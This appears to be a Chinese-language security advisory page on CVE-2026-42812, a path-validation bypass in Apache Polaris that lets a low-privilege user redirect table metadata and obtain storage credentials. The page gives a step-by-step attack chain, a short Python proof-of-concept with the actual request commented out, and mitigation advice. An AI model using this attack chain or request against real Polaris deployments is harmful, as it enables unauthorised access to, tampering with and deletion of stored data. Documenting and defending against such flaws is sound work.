IPBUF安全漏洞报告
English
CVE-2026-42812 CVSS 9.9 严重

CVE-2026-42812 Apache Polaris 路径验证绕过漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42812
漏洞类型
路径遍历
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Polaris

相关标签

路径遍历权限绕过Apache PolarisApache IcebergRCE数据泄露

漏洞概述

Apache Polaris在处理`write.metadata.path`属性变更时跳过了关键的位置验证步骤。攻击者可利用此漏洞将表元数据重定向至恶意路径,导致系统为未经验证的位置签发临时存储凭证,进而引发敏感数据泄露、篡改或破坏。

技术细节

该漏洞源于Polaris在仅变更`write.metadata.path`属性时,错误地跳过了写入前的安全检查分支。当配置`polaris.config.allow.unstructured.table.location=true`且`allowedLocations`范围较宽时,低权限用户可通过`ALTER TABLE`操作将元数据路径指向任意受信任前缀下的攻击者选定位置。Polaris在未验证该位置合法性的情况下即执行写入操作。由于缺乏重新验证机制,后续的凭证API会为该恶意路径提供临时云存储访问权限。这允许攻击者访问超出原表范围的数据,包括其他表或整个存储桶的数据,严重威胁机密性、完整性和可用性。

攻击链分析

STEP 1
1. 前提条件确认
攻击者确认目标Apache Polaris实例配置了`polaris.config.allow.unstructured.table.location=true`,且`allowedLocations`包含攻击者可利用的路径前缀。
STEP 2
2. 权限获取
攻击者获取一个能够修改表设置的低权限账户。
STEP 3
3. 触发漏洞
攻击者发送`ALTER TABLE`请求,将`write.metadata.path`属性设置为攻击者选定的恶意存储路径(如其他表的前缀)。
STEP 4
4. 绕过验证
Polaris处理该请求时,跳过预写入位置检查,直接向恶意路径写入元数据。
STEP 5
5. 获取凭证
由于路径已在状态中持久化,系统后续的凭证API为该恶意路径签发临时访问凭证。
STEP 6
6. 数据破坏
攻击者利用获取的凭证访问、篡改或删除恶意路径覆盖范围内的所有数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Concept for CVE-2026-42812 # Description: Bypass location validation by altering write.metadata.path cve_id = "CVE-2026-42812" target_table = "vulnerable_table" attacker_controlled_path = "s3://valid-bucket/attacker-prefix/metadata.json" # Simulate the API request to alter the table property headers = { "Authorization": "Bearer <user_token>", "Content-Type": "application/json" } payload = { "updates": [ { "type": "SET_PROPERTY", # The vulnerable property that bypasses the commit-time branch "property": "write.metadata.path", "value": attacker_controlled_path } ] } print(f"[*] Attempting to exploit {cve_id} on {target_table}...") print(f"[*] Trying to set metadata path to: {attacker_controlled_path}") # response = requests.post(f"/api/v1/namespaces/default/tables/{target_table}", json=payload, headers=headers) # if response.status_code == 200: # print("[+] Exploit successful! Metadata path updated without proper validation.") # print("[+] Polaris may now issue credentials for the attacker-chosen location.") # else: # print("[-] Exploit failed.") print("[!] This code demonstrates the logic required to trigger the vulnerability.")

影响范围

Apache Polaris (具体受影响版本未在提供信息中明确列出)

防御指南

临时缓解措施
建议立即禁用非结构化表位置功能,并严格审查现有的`allowedLocations`配置。同时,应检查系统中是否存在异常的元数据写入路径,以确定是否已被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表